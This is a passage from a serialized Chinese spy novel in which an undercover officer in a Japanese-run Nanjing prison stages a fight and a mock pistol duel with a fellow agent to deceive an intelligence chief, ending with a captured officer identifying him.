空地的东侧,则是一面五六米高的铁丝网,铁丝网的东面,也是一块空地,不过要比林赤脚下的区域要小得多,那片空地上,林赤看到为数不多的女性囚犯! 林赤本能地用眼睛在那片区域搜寻着,可是他并未发现熟悉的身影。看来,刘云雄旅长的夫人秦素芬要不没有关押在此,要不没有安排她出来放风。 那片区域再往东,又是和西侧一模一样的高墙,上面同样安装着铁丝网,也有数名荷枪实弹的守卫在警戒,只不过数量要明显少于西侧墙顶端上的。 两名押送林赤的警卫当林赤跨进这片区域后,并没有跟上来,而是倚墙而立,一边警戒,一边侃侃而谈。 林赤似乎漫不经心地向这片区域的中央走去,他的神态显出满满的新鲜和好奇感。 他的目光在四处寻觅。 放风时间到! 此时此刻,林赤最为关心的,便是那位眉生黑痣的中年男人了! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第139章 性命攸关的考验 放风时间对任何一个渴望自由的犯人来说,都倍加珍惜。 似乎就在举手投足之间,空地上的犯人已大量涌进。甲区的犯人数量远远少于乙区,所以在林赤刚刚踏上这片用于犯人放风的空地时,犯人还主要集中在乙区出口的那一头,但俄顷间,对面的人流开始向林赤的这一头渗进。 林赤拖着沉重的脚镣,戴着冰冷的手铐,步履维艰地慢慢向这片区域的中央移动。他脚上的铁镣拖拽在水泥地上,擦碰出叮叮当当的锐响。 很多人开始向林赤所在的方向涌来,迎面之际,林赤忽然发现几乎所有人都向他投来异样的目光。 从众人的揣度的注视中,林赤忽然感觉到飕飕的凉意。 难道仅仅是因为自己是个生面孔?亦或是自己的这身桎梏引起了他们的好奇? 林赤环顾四周,发现和他一样装扮的犯人大有人在。可那些犯人神态自如,独善其身,自娱自乐,表情轻松,均肆意地沉浸在放风时间段自由的空气中,享受着不一样的时空经纬度。 林赤突然打了个激灵,他开始怀疑起此次放风的动机,甚至开始质疑那张纸条的动机。 难道,那张纸条是个圈套?其真正目的是想探知他的真实意图? 林赤内心不断提醒自己千万不能造次,必须谨慎且相机行事。 此时临近傍晚,从西斜的太阳林赤可以判断时间应是下午四点左右。极目处,白雪依旧皑皑,上半天的阳光并没有消融更多的积雪,仅仅由铁丝网阻隔的东西两块男女单独放风区的地面上,积雪已被清理了不少,但在地面四周的所有角落里,已污秽不堪的积雪无序堆放,这些制冷源散发出的刺骨的寒气,四散在冬日黄昏的空气中,侵袭着在场所有的犯人。 所以这个时候,阳光显得弥足珍贵,在分割两块区域的铁丝网处,对于男监放风区的犯人而言,还存留着久违的阳光,因而,如同昆虫的向光性一样,多数的犯人均蜂拥而至,争先恐后聚集于此,享受着最后一丝暖阳的普惠。 而在铁丝网西侧对面,却是另一番景象,由于背光,那面墙后几乎寥无人迹。 也有例外,唯一一人低头靠在此处的墙壁上,似乎是在思索着什么,或是什么也没想,只是倚在那里发呆罢了。 看不清他的脸色。 林赤从他的面前擦肩而过,铁镣的响动甚至没有惊动他,他我行我素,连头都没有抬一下,宛如身外一切都和他无关。 林赤不再前行,左拐到此人对面的铁丝网处,找到一个很窄的空档,跻身进了人群,背靠铁丝网,仰起脑袋,看了一眼即将隐退在楼后的太阳。 此刻的阳光,已无一丝暖意,所以,所谓的晒太阳充其量是一种心理慰藉罢了。 扬着脑袋的林赤,尽管没有刻意去注视对面那位形单影只之人,但他内心执着认为,此人必定是刘云雄无疑,在他的眉心,也必定存在一颗黑痣。 特立独行的他独自一人站在背光的阴影下,这说明他的内心是阴郁的,甚至对一些囚犯最渴望的、类如温暖和光明等等都已不寄任何渴望!他好像已经无欲无求,更对未来没有了期望,可以想象,此刻的他,内心是何等沮丧! 此人手脚并未羁绊,看样子并非重犯,这更能说明他没有理由不憧憬未来。 毕竟,活着,才是一个人最大的欲望!除非他已万念俱灰! 是啊,一个官至将军级的军人,其军旅生涯中,最耻辱的,莫过于成了敌人的俘虏! 想到这儿,林赤又想起那张纸条,也许那张纸条并不是他想象的那样,而是自己人确切传递出的情报! 林赤依旧仰着脑袋,将目光从对面的那堵墙上,射向了广袤的空中。 天上白云朵朵,有飞鸟展翅翱翔。 林赤将手插在衣兜里,他的脑子在飞速地思索着。 …… 与此同时,在林赤走出的铁门这一边的监狱四楼,一扇窗户的后面,静静地站着四五人。 松机关的机关长黑木瞳将军、行动处的渡边雪奈少佐以及李泉,还有两位是老虎桥监狱的典狱长武内次郎上尉和副典狱长陈炳松。 所有人的脸上都洋溢着好戏即将开场的期盼。 楼下的两块男女放风区的一切人和物,尽收眼底。 林赤踱步的过程中,黑木的眼睛一刻也没离开他。在林赤缓缓地靠在铁丝网上时,黑木的脸上流露出一丝笑意。 这笑意尽管风轻云淡,但被眼尖的渡边立即发现,渡边好奇问道:“将军,您是不是发现什么了?” 黑木依旧目不转睛,沉声回答道:“可以看出,那位林先生还是有欲望的!” “什么欲望?”渡边大为好奇。 “可以看出,他还是心向光明的……起码在他心中,还时刻渴望着活下来!” 渡边更好奇了,“请将军明示!” 黑木回头扫了一眼身后的人,手指着林赤的栖身处说道:“你们看,凡是此刻在嗮太阳的人,都是有着强烈欲求的人,只要他还有生存欲望,就是他的最大弱点,这是人最致命的,所以理论上说,他是可以战胜的……”黑木正说着,目光忽然停在西侧墙后独处的那人身上,诧异问武内道:“他对面那人是谁?”说着黑木手指了指。 这章没有结束,请点击下一页继续阅读!武内不具体管理犯人,根本不熟悉犯人,既然将军问起,他佯装观测一番,自然看不出什么名堂,连忙回头问身后的副典狱长陈炳松:“老陈,那人你知道吗?” 陈炳松马上顺着他手指的方向细细凝视,还未表态,黑木马上决然道:“不用看了,我知道他是谁啦!” 这中间相隔一百多米的距离,何况对方低着脑袋,而只往来了监狱几次的黑木将军很快一口断定相识此人,这让武内不由万分狐疑,但知道黑木已成竹在胸,不免心生敬佩,便脱口问道:“将军识得此人?” “如果我没猜错的话,他应该就是刘云雄。” “将军是说甲区八号监房的刘云雄?” 陈炳松把身体前移,端详一番,兴奋地感叹道:“果真是他!将军真是火眼金睛,居然这么远一眼就认出,实在了不起,这是我们一般人所无法做到的!” “这和视力没有关系。”黑木有些得意。 武内追问:“那将军是如何看出?” “整个老虎桥监狱,目前如此悲观的人,我想只有刘云雄一人!看来,一个人只有在不设防的时候,才会真性流落!所以我认为人的真性情是可以通过私窥加以分析出来的!”黑木说着脸上突然又涌出忧色,“刘云雄开始进食了吗?” 未等武内回话,陈炳松抢答道:“报告将军,还没有,他已绝食一天半了,我怎么劝都没用,对方提出一定要见到他的夫人秦素芬,否则绝不解禁!” “哦?”黑木皱了皱眉,略作思索道:“他的事待会再说,现在,我们还是先把眼下的好戏看完!”黑木再次回头,对武内命令道:“你马上安排钱瑾余登场!” “是,将军!”武内正了正身,手一挥,陈炳松离开窗前,出了房间。 很快,楼下的垂直处,出现了几个身影,在他们探身铁门外时,其中两位滞留原地,只剩下其中一位踯躅而行。 四楼上的所有人立即将目光又聚集在此人身上。 …… 余光里,对面疑似刘云雄的那人一直没有抬头,他完全沉浸在自己的世界中。 林赤便不再看他,将目光从空中收回,四处打量一番。 面前来往不息的人流依旧向他投射来异样的目光,这些人的目光在和林赤遭遇后,立即不自然地移开。 林赤还发现,远处有人对他在指指点点。 林赤疑窦更深,但想不通个中原因,只能装作视而不见。 林赤四处游动的目光,忽然看到一个熟悉的身影。 钱瑾余! 奉命伪装成共党江苏省委一号首长“镰刀”、并捕后诈降供出林赤的特工钱瑾余! 钱瑾余步履蹒跚,踽踽而行,在阳光下他的脸色显得分外苍白。 和林赤不同的是,他的手脚都是自由的。 林赤的心中倏然一阵剧烈震动,他做梦也没想到,他会在这样的场合与他相见! 这之前,在林赤的脑中记挂的全是刘云雄。 在林赤的潜意识里,已将与钱瑾余单独见面的可能性完全排除在外! 卧龙计划是林赤转战情报战线后,首次亲自制定的一项计划,关乎很多人的生与死,包括林赤自己,关乎自己能否顺利打入敌人内部!故而,这其中的细节他几乎都模拟过,就连与钱瑾余的见面,他也有过推测,那就是日方在审讯他们任何一人时,需要另一人出现进行当面对质,所以,针对他们二人的见面,林赤本身是有预案的! 可是,让林赤猝不及防的是,此时此刻,钱瑾余出现了! 他出现在傍晚前夕的放风时间段,出现在林赤的视线里。 一开始,钱瑾余并未发现林赤,他漫不经心在夕阳的余晖中独自前行。 在他的眼睛里,往日飞扬的神采已然不再。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第140章 假戏真做 林赤的大脑自从钱瑾余一出现在他的视线里,便如搭上电源的机器,开始飞速运转! 他为何会在这个时候现身?难道这只是偶然? 钱瑾余会不会假戏真做,已经投入鬼子的怀抱? 他的身上已无枷锁,是不是说明鬼子已不把他视为重犯? 他林赤的被捕,显然是因由他的“告发”!是不是鉴于此因,他才得以洗脱? 鬼子当下对他信任吗?如果信任,为何他看不出一丁点快乐? 最为关键的,钱瑾余告发了林赤,鬼子理应知道二人水火不容,被陷害的林赤对他应是充满不共戴天之仇恨,那么,二人的见面注定不会和风细雨,而是暴风骤雨!既然如此,鬼子为什么要让他们二人有了单独见面的机会?难道这仅仅是鬼子的疏忽大意?可是,作为鬼子的南京城最高情报机构的松机关,怎么会犯这样的低级错误?这怎么都不应该啊!难道鬼子不怕受害的一方施以报复?难道是鬼子忽略了双方彼此的存在?…… 就在这一瞬间,林赤的大脑里一个问题接一个问题不断闪现,他自问自答,不断逼近真相,到最后,只剩下了一个合理解释。 那就是这是鬼子在对双方进行试探! 这充分说明了钱瑾余的诈降并未获得鬼子的完全认可! 鬼子显然也在寻找真相! 如果这是鬼子的阴谋,那必定在暗中有一双双眼睛在注视着他们! 他们会在哪里?伪装在放风的人群中?还是在不远处的某个角落? 想到这儿,林赤惊出一身冷汗,所幸的是,钱瑾余还没有发现他,否则,这么短的时间,他们必定来不及反应! 林赤下意识地刚想四处环顾,找寻躲藏在暗中的眼睛,却忽然硬生生地刹住了。 这个时候,他所有的表现一定需要合乎逻辑,任何一个小失误,都可能导致前功尽弃! 既然他看到了不共戴天的仇人,他的目光应该一刻也不离开他! 接下来,拜钱瑾余所赐身陷囹圄的他必须拿出切实可行的行动,用他最真实的反应来让隐藏在暗处的他们看到该看到的一幕! 尽管身心俱疲,林赤开始酝酿情绪,积蓄力量,他需要疾风骤雨的爆发! 这过程中,林赤不由低下脑袋,他要保证自己不能让钱瑾余很快见到他,他不能留给钱瑾余太多的反应时间,因为,这突如其来的相见,会让毫无心理准备的钱瑾余真性流露,从而露出马脚! 林赤自忖此时低下脑袋不让对方得见是合理的。 他在等待钱瑾余的进一步靠近,他必须在可控的距离内,保证身负沉重的枷锁的他可以一下子冲到对方的面前,且必须一击得手,让钱瑾余骤然进入迷茫和懵懂的状态,不可让他从容应对! 低着头的林赤,依据钱瑾余的行进速度,在估算着他们之间的距离。 当林赤觉得双方相距五六米的时候,林赤已经开始行动了。 他依旧低着头,先是缓缓出了人群,很快隐身于一名和钱瑾余相向而行的彪形大汉身后。 由于走得急,他脚上长长的铁镣拖拽在水泥地上,立即发出令人烦躁的噪音,这样的声音,打破了周围的和谐,引得依靠在铁丝网上嗮太阳的一众人举眉凝望,也引得来回踱步的人们放慢步伐,向他投来探寻的目光。 身前的那位彪形大汉也由于好奇,不禁回头看个究竟。 这一看,立即露出了空档,林赤在钱瑾余的视线中暴露无遗。 此时他们之间仅仅相隔了两三米。 说时迟那时快,就在这电光火石间,林赤即刻极速迈开大步,向钱瑾余扑了过去! 他率先向钱瑾余发动了攻击! 也就在这电光火石间,钱瑾余也发现了林赤。 一切都无暇思考,林赤已近身,钱瑾余的脸庞上布满错愕,他本能地躲闪,可林赤哪里给他机会! 林赤的攻击完全是真实的,也是有效的,他只有假戏真演,才能骗过暗中的眼睛,才能打消他们的疑虑。他搏杀技在经过前后四年多的军校生涯的锤炼,已炉火纯青! 所以这一击,又岂是天赋平平的钱瑾余所能躲避开的? 这一击,对于林赤而言,是恰如其分的,也是当下他最为渴望的。一方面,他需要做给日本人看,另一方面,他目前无法清晰了解此时的钱瑾余心境,他还到底是不是原来的钱瑾余?对此林赤一无所知,因此这样的试探适时而恰当! 自负的林赤认为,只要这出戏能够顺利地演下去,他就可以通过钱瑾余的反应,揣测出他的最逼近真实的状况! 钱瑾余的身体还尚未来得及移动,更未明白到底发生什么,已被林赤扑倒于地。 钱瑾余第一眼看到林赤时,内心是诧异的,他也根本没有想到,会和这位计划的制定者在此时此地相遇。尽管钱瑾余知道,对方会迟早出现在这所监狱,但他的准备是不充分的! 钱瑾余的这种诧异还未来得及消化,便很快被周身剧烈的疼痛所转移,对方似乎是全力以赴,在钱瑾余倒地的一瞬间,林赤戴着手铐的双手立即打开成一个圆弧,生生地将他的脑袋锁在他的双臂之中。 本小章还未完,请点击下一页继续阅读后面精彩内容!钱瑾余喘不过气来,大脑一阵眩晕。 钱瑾余顿时懵了,他想大声说话,可是喉咙已被对方的手臂挤压着,竟然一个字也吐不出来。 不仅如此,林赤已将整个身体压在他的身上。 转瞬间,钱瑾余愕然已化成满腔的愤怒,自己忍辱负重,饱尝严酷的刑罚,到头来竟然得到这样的下场! 目前看来,林赤他是要置自己于死地! 同样疲惫不堪的钱瑾余不知从哪里迸发出无穷的力量,开始奋起反击! 一番翻腾后,喉咙上的压力忽然小了不少,钱瑾余觉得可以发声了,连忙怒不可遏喊道:“你疯了……” 话才说了一半,压在他身体上的林赤忽然把脑袋抵在他的嘴上,接下来的话,他已无法发出。 钱瑾余拼命转动脑袋,想摆脱对方的束缚……就在这时,钱瑾余忽然隐隐听到对方压低着嗓子说道:“这是鬼子在试探我们!” 钱瑾余一愣,马上明白了一切。 接着对方一边进攻一边又传来了他的声音:“千万别手下留情!” 到了这个时候,钱瑾余才知道该怎么办。 正当钱瑾余想极力回击时,林赤的力量忽然小了许多。钱瑾余一个翻身,局势顿时逆转,林赤已被钱瑾余压在地上。 但听到林赤低声提醒道:“使劲打我!” 钱瑾余不再犹豫,对着林赤的脑袋就是一拳。这一拳,虽然没有用尽全力,但很快,林赤的嘴角淌出了汩汩鲜血。 钱瑾余蓦地觉得下手太狠,刚要收手,林赤瞪了他一眼,继续低声喝道:“继续!” 无奈之下,钱瑾余挥起另一只手,对着林赤的肚子又是一拳。 林赤低沉地哼了一声。 此时的钱瑾余并不知道,林赤已经经受了两轮刑罚,这一拳正好击在林赤烙铁烫伤的伤口处,一股钻心的疼痛侵袭而来,林赤的额头马上汗水涔涔。 林赤强忍住痛,他也开始反击。 林赤抬起膝盖,一用力,撞击在钱瑾余的椎骶骨处,钱瑾余的身体立即前倾,胸部埋在了林赤的脸上,林赤随即腾出束缚在一起的双手,重新套住了钱瑾余的脑袋。 于是,钱瑾余的整个身体紧紧贴在了林赤的脸上,林赤用尽全力将钱瑾余的身体向着下方拽动,钱瑾余知道这是对方的真实意图,就顺势下探身子,直到脑袋几乎和林赤的平齐。 但听林赤在他耳边轻声道:“你的右前方七八米远,墙角站的那人极有可能就是刘云雄,待会儿你跑动起来,将他撞倒!” 钱瑾余听得一清二楚,几乎从胸腔中闷声道:“好!” 紧接着,从钱瑾余的嘴中又吐出一句话:“你一定要相信我!” 这句话林赤听得真切,忽然间心中感慨万千。 打斗在继续,钱瑾余显得力有不逮,林赤抬起膝盖猛地撞上了他的屁股,他一个趔趄,整个身子从林赤的脑袋上空飞越而过,摔倒在林赤的头顶处。 钱瑾余慌张爬起,直起腰时,目光前视,果见右前方的墙角倚着一位中年男子,此时的他,眼睛里充满着好奇,正在观摩着眼前显得突兀的打斗。 一立身,钱瑾余连忙启动脚步,拔腿就跑,他的双腿显然力气耗尽,步履打颤,没跑多远,一个踉跄,竟然撞在了墙边上的那位中年男人身上。 他的惯性把他扑倒。 这个中年男人毫无提防,在倒地的一霎那疑云顿生! 对方显然是在故意撞击自己,因为对方身体单薄,他所产生的惯性怎么也不至于撞倒自己,这分明强加了外力,才会导致如此结果。 林赤一等对方从自己的身体上飞出,便用尽全力从地上爬起。 他必须以最快的速度,赶在那位疑似刘云雄的人爬起前抵达,这样方可能形成有利于自己的局面。 林赤已浑然忘却了周身的不适。此时的他,内心激动而亢奋,同时充溢着强烈的期盼。 他需要亲自验证他的判断,他要从对方的眉心处,找到一颗黑痣。 如若如此,那的卧龙计划则迈出了坚实而富有建设性的一大步! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第141章 游戏时间到 当林赤从地上爬起时,脸上隐隐透出一丝会意的笑。 一方面,钱瑾余严严实实地压在疑似刘云雄的男子身上,尽管他在挣扎,但可以看出,他的挣扎苍白无力,林赤完全有把握在他爬起前赶至。 另一方面,逼真的打斗已进行了数分钟,放风区警戒的鬼子竟然无动于衷,没有一人赶来制止他们的打斗,这有违常理,也进一步说明了林赤的预判是正确的,鬼子的确是在试探二人相遇见面后的反应! 至于戏演到如此地步,其中有没有破绽,林赤已没有时间考虑,此时他最迫切的就是需要全力以赴。 这个阶段,老虎桥监狱在押犯人绝大多数都是原国军序列中的溃军,收容的时间并不久,从军人一下子沦为囚犯,这样的角色转换让他们大不习惯,他们担忧最多的就是未来将何去何从,因而在羁押期间,他们是悲观的,也是消极的,每个人都显得心事重重的样子。人一旦出现了这样的心境,便与世无争起来。这样的心态让他们之间的相处愈加显得谦让有礼,表现出空前的团结,故而,从南京城沦陷他们被羁押至今,在老虎桥监狱,尚未出现一例打斗现象。 林赤和钱瑾余这突如其来的打斗顿时打破了老虎桥监狱放风时间一贯的沉闷,人的猎奇心被唤醒了,他们忽然间兴奋了起来。纷纷围上前去。 林赤三两步冲了过去。 扒开围观的人群,林赤一下子扑到钱瑾余的身上。 他似乎并没有考虑钱瑾余身下的那位疑似刘云雄的中年男子,对着钱瑾余便是一通拳击。 人群中立即发出整齐的嘘声。 暴打钱瑾余期间,他的眼光立即聚焦在那位男子脸上。 他赫然看到了他眉间的那颗黑痣。 猜测没错,对方正是被俘的国军少将旅长刘云雄。 由于一天多未进食,刘云雄的脸色苍白,饥饿使得他的浑身乏力,否则,比他单薄的钱瑾余又如何能够压得住他? 三人顿时扭成一团。 人群中有人天生同情弱者,看到钱瑾余被劈头盖脸暴打,鼻血已粘的满脸都是,就高声喊叫让钱瑾余加油。这番鼓励给了钱瑾余无穷的勇气,钱瑾余经过数次翻腾后,终于占了上风,把林赤压在身下。于是又有人开始鼓励林赤加油。 此时的林赤抱着脑袋把整个身子又压在了刘云雄身上。 最无辜的刘云雄在这莫名其妙地混战中,终于找到机会,很快脱身,脱身后的他立即在众人同情地目光中离去。 轮到林赤遭受到对方的猛揍,他的脸上同样布满了鲜血。只是分不清是他自己的还是钱瑾余的。 …… 站在四楼窗前的黑木将楼下发生的一切看得真切,看到这里,他心中已有答案。 他忽然间又产生了另一个想法。 黑木果断地拔出手枪,手伸出窗外,朝天鸣了一枪。 “把他们带过来!”黑木对武内命令道。 这枪声也是号令,放风区两头的狱警立即向林赤他们奔跑过去,很快将二人按住,押解着他们向甲区的铁门走来。 黑木关上窗户,坐等他们的到来。 枪响后,林赤马上听到一串急骤地脚步声越来越近,很快五六名狱警蜂拥而至,一把按住了林赤的脑袋,接着将林赤从地上架了起来。 林赤被架起时,忽然无意看到人群中一张似曾相识的面孔,是一张青年男子的脸,他的目光专注,仔细端详着林赤的脸庞。 林赤正待看个究竟,整个身子已被狱警调转方向,向着甲区的铁门处而去。 钱瑾余也被反扣着双手,跟在林赤的身后,二人被押上了四楼。 狱警推开了其中一间房门,二人被推进房间。 黑木从椅子上立即站起,走到他们面前,目光分别扫视了一下二人。 “把这位林先生的手铐和脚镣都打开!”黑木对林赤身后的狱警大声道。 没有了桎梏,林赤觉得轻松多了,他活动了一下手腕,四处打量了一下,房间里除了黑木和狱警外,他还看到了渡边,以及被他咬掉耳垂的李泉,还有两人,一位在审讯室见过,穿日军制服,是个日军上尉,另一位年纪稍大,是个中年男性,面孔陌生。 李泉对他依旧充满仇视。 林赤朝他微笑了一下,点了点头,算是对老相识的一种招呼,接着他把目光停留在渡边的脸上——此时房间里的光线充足,林赤第一次如此真切地看渡边,不要说,这个女人还是天生生有一张娇美的脸蛋。 渡边也是第一次如此真切看林赤,尽管见面只有几次,她素来对这位中国年轻军人有着莫名的好感,尤其是第一次在应天教会医院见到他,当林赤脱掉外衣,露出一身健硕的体魄时,她一瞬间居然心旌摇荡起来。除了英俊外,对方刚毅、睿智,尤其是他的那种小坏,非常符合她的心性。所以在林赤报复李泉时,她骨子里是酣畅淋漓的。 林赤把他的目光从渡边的脸上拿开,刚停在黑木的脸上,就听到黑木对着钱瑾余充满歉意说道:“钱先生,不好意思,让您受委屈了!” 本小章还未完,请点击下一页继续阅读后面精彩内容!但听钱瑾余怒气冲冲道:“黑木将军,我一直在想一个问题,你们为什么要这么对我,对待一个心诚之人,我帮了你们的忙,让你们得到想要的,可是到头来,却弃我安危于不顾,不知是何居心!” “钱先生真对不起,这是我们工作的失误,不过我已经批评了典狱长武内君了!”黑木说着眼睛瞪着武内次郎继续道:“我看你们老虎桥监狱的管理问题真不少,再这样下去,你这个典狱长也别当了!” 武内还没回答,陈炳松抢先说道:“将军,这一切都是我的错,是我这个副典狱长没管理好,今后一定改正!” “一座监狱的管理重在细节!下不为例!”黑木显出一副欣慰的模样,继续道:“你们打起来的时候,正好被我看到了,不过,不可否认你们二位刚刚的表现实在很精彩,真让我有意犹未尽之感!” 林赤觉得不能再沉默,连忙咬牙切齿道:“那好,我恳请狱方让我们再来一次,刚才我的手脚都被限制,这样的打斗有失公允,我需要公平决斗!” 钱瑾余毫不相让,哼声道:“你以为我会怕你?来就来!谁不来谁是孙子!要不是你偷袭,我也不至于一开始吃那么大的亏!” 林赤的眼睛里似乎要喷出火来,立即冲上前去,却被身旁的两位狱警一把架住。 钱瑾余不甘示弱,也挣脱着身子欲向林赤冲来,同样被身后的狱警拦住。 黑木抬手分别拍了一下二人的肩膀,哈哈道:“林先生、钱先生,说到公平决斗,我倒有个不错的主意!”说着突然从腰间拔出自己的佩枪,打开手枪保险,往身前的桌上一拍,脸色立即冷峻起来,“我来给你们重新制定一个游戏规则,公平公正,绝不偏袒!” 是一把勃朗宁M1903手枪,比利时生产,9mm口径。 黑木站到了二人的正前方,脸色一片阴沉:“既然你们二人都觉得委屈,那今天我提供机会给你们作个了断!” 林、钱二人几乎不约而同闷声道:“好!” “你们保持五米的距离,分别站在东西两个方向,我一声令下,你们同时启动,谁先抢到这支手枪,谁就可以将另一方击毙!怎么样,游戏还算公平吗?” “我同意!”林赤没等黑木说完,斩钉截铁道。 黑木又看了一眼钱瑾余,问:“钱先生,你以为呢?” “我没问题!”钱瑾余脱口道。 “好!”黑木脸上终于露出笑意,双掌互击了五六下,缓缓说道:“来人,把他们分开,和这把手枪都保持五米远的距离!”说着黑木对渡边招了招手道:“渡边小姐,这个裁判就你来当,你来给他们发令!” 渡边兴高采烈站到了桌子前方,转头分别看了二人一眼,笑吟吟道:“二位准备好了吗?” 身旁的狱警立即后退两步,林赤扫了一眼钱瑾余,忽然看到他的眉宇间涌出一丝忧色。 林赤便暗下决心一定要先于钱瑾余抢到手枪。 渡边稍加酝酿,脆声喊道:“预备——开始!” 林赤只等渡边喊出“预备”二字,便不顾一切拔腿冲向前去。 虽然只是相差后面两字的时间,但林赤的优势显而易见,他先于钱瑾余一把抓住了桌上的那把勃朗宁手枪。 枪一到手,林赤熟稔无比地立即将手枪在手中调整到了可以击发的姿势。 紧接着,林赤手中的手枪快速被举起,在钱瑾余抵达桌前的一瞬间,他手中的枪口已顶在钱瑾余的脑门上。 钱瑾余的脸上马上充满了绝望。 围观的众人一颗心悬了起来。 就这么一会功夫,钱瑾余的额头出现了细密的汗珠。他的眼神慢慢黯淡下来,一咬牙,决绝道:“姓林的,你还犹豫什么,赶紧开枪呀!” “你钱瑾余也有今天?哈哈!”林赤长笑几声:“老天有眼,这就是叛徒的下场!” 钱瑾余把眼睛缓缓地闭上。 黑木赶紧上前,紧张地对林赤大喊道:“林先生,手下留情,这只是个游戏!千万别开枪!” 林赤看都没看他一眼,举枪的手又向前送了几厘米,直到钱瑾余的脑袋被顶痛。 钱瑾余睁开眼睛,毅然道:“我等着呢,怎么,手软了?” 林赤的嘴角掠过一丝狞笑,果断扣动了扳机。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第142章 布下一枚棋子 只是扳机空响的声音,却没有子弹出膛。 林赤一愣,再次扣响扳机,可是依旧如此。 林赤一脸失望,把手枪移至身前,刚想检查枪支,钱瑾余却未给他机会,趁林赤不注意,一把夺过手枪,紧接着挥起一拳重重地击在林赤的脸上。 两人再次扭成一团。 黑木使了个眼色,狱警冲上来把二人分开。 “哈哈,这只是个游戏,我怎么舍得你们其中任何一人死呢?”黑木从钱瑾余的手中接过手枪,插进枪套中,继续道:“看来,钱先生的身手不如林先生,反应也要稍逊一筹!” “那未必,姓林的明显使诈,他并未遵照号令!” “这一点我可以证明,林先生犯规了!”渡边显得很公正的样子。 “钱先生不要气馁,下次我还会给你们提供一决高下的机会的!”黑木把目光停在陈炳松身上,“陈副典狱长,你安排人把这二位分别带到各自的监房!” “是将军!”陈炳松大声应道。 林赤先于钱瑾余出了房间,陈炳松走在前面,两名狱警押着林赤走在他的身后。 就在这时,林赤忽然看到副典狱长陈炳松脚上穿的是一双布鞋。 他的布鞋在走廊的水泥地上发出“沙沙”的声响。 林赤的心中一动,这声音怎么听都是那么熟悉。林赤想起午后时刻,给他送牢饭的脚步声。 难道他就是“剪刀”? 林赤回到监房,躺在床上,又想起了刚才黑木在房间里对他们的再次试探。 看来黑木对他们的怀疑并不可能一时半会打消。 林赤蓦地感觉到要取得老奸巨猾的黑木的信任、顺利打入敌人的心脏,需要他为此付出更艰辛的努力。 钱瑾余也回到了他的五号监房。 他的周身不时传来一阵阵酸痛。 想到刚才的一幕,钱瑾余不由得后怕。 当黑木公布游戏规则时,他当时的所有注意力都集中在那支勃朗宁手枪上,他竟然粗心到忽略了这是黑木的又一阴谋。他的潜意识里,没想到黑木他们会接连用计,而就差那么一点,他就中计了。 这个时候,钱瑾余愈加佩服起林赤来。 那一刻,渡边发出号令后,他甚至做好了准备,只要一抓到手枪,他会毫不犹豫把枪口对准黑木,然后扣动扳机。 钱瑾余越想越觉得自己愚昧,是啊,退一万步讲,堂堂的一位少将机关长,怎么可能将荷枪实弹的手枪让两位犯人抢到手?那岂不是将在场所有人的安危置于险境? 钱瑾余现在终于明白,为何林赤要在号令没有完全下达时就启动步伐了,他这是怕自己犯错误啊!想着想着,钱瑾余惊出一身冷汗。 一切表明,双方之间的对弈不是儿戏,完全是波诡云谲,稍有不慎,便会入了对方的套。 钱瑾余忽然有种力不从心的感觉。他坐在床前,陷入了久久的沉思。 …… 林赤和钱瑾余刚走,黑木就从口袋里掏出卸下的子弹,重新压入弹匣。 一旁的渡边看在眼里,试探问道:“将军,目前看来,那位姓钱的不像说谎,他应该是真心投靠我们!” 黑木不置可否,反复打量着手中的枪支,半晌才道:“这游戏本身就有瑕疵,不足以说明一切!” “但他们的表演也太完美了!” “正是因为太完美,我才怀疑!”黑木有点累了,坐定后继续道:“整个事件完美得让我吃惊。” “如果正如将军所料,那位林赤也太可怕了!” 黑木不说话了,把桌上的手枪收起,起身对渡边道:“今天就到此为止吧,咱们回松机关。” 二人一前一后出了房间,却见李泉气喘吁吁沿着走廊一路跑来,还未走到他们面前,便喜滋滋喊道:“将军,有个好消息,有人认出了林赤!” “是吗?太好了!”渡边替黑木应道。 “前面带路!”黑木低喝一声。 在一间审讯室,声称认识林赤的那名男子被带了进来。 此人看上去三十岁上下的年纪,身高不到一米七五,体型匀称,方形脸,双目深陷,颧骨稍高。由于长时间的关押,他的头发长而蓬乱。 “报上你的姓名!”林赤来到他的面前,立即盘问道。 “管定洲。” “请你把你所知道的告诉我。” “我今年二十八岁,是教导总队的一名副连长。我是34年从71军经过选拔才进入南京中央陆军军官学校炮科专业,学制三年,如果不出意外,将会在去年年底毕业,没想到和贵国的冲突很快演变为全面战争……南京保卫战打响之前,我被编入教导总队第一旅二团,团长是谢承志上校,我被任命为三营三连的副连长!而林赤是我们二团一营一连的连长,林赤这个人我早就听说过,他在我们学校的名气很大,从36年下半年入校以来,常被教官挂在嘴上,好几次全校技能竞赛,他都拿了冠军,所以知名度很高……” 黑木连忙打断问:“他参加了哪些竞技项目?” 这章没有结束,请点击下一页继续阅读!管定洲想了想道:“我所知道的有两项,一是射击,其二是搏击。” 黑木沉默着,管定洲继续道:“我听说,此人曾留学法国炮兵大学,并以优异的成绩毕业,36年回国后并未编进部队,而是进入中央陆军军官学校继续深造,只不过,他和我不一样的是,他就读的是高等教育班,而高等教育班是校官的摇篮,当时很多人都不服气,有传言说他上面有人,但具体和谁有关系我们也不清楚……” “他认识你吗?”黑木再次打断问道。 管定洲苦笑道:“我认识他,他不认识我!但是自从编入二团后,我们曾经多次谋面,只是没说过一句话,我相信他肯定看我面熟。” “那你知不知道他是什么时候加入复兴社的?” “这我就不知道了……”管定洲摇头道,“不过也不奇怪,复兴社是最大的特务组织,它的触手伸得很长,凡是优秀的人才他们必定想方设法拉拢过去,据我所知,我们学校有不少人私下里都加入了,所以很多人都有复兴社的背景。” “很好,你所讲的对我们很重要!”黑木拍了拍管定洲的肩,看到管定洲依旧戴着手铐,便吩咐道:“武内君,你们把他的手铐解了!” 退掉手铐的管定洲打量了一眼黑木肩上的军衔,不失时机问道:“将军,是不是可以把我放了?” 黑木引管定洲坐下,笑道:“管桑,别那么性急嘛,我们皇军说到做到,从现在起,你已经是自由身了,不过,难道你就甘心这样出去?你还想去找你的部队?哈哈,南京一战,你们教导总队恐怕已被我打残,说不定连番号都取消了!” “不不,我不会去找他们的,我只想回四川老家,从此安分守己,不再和贵军为敌!” 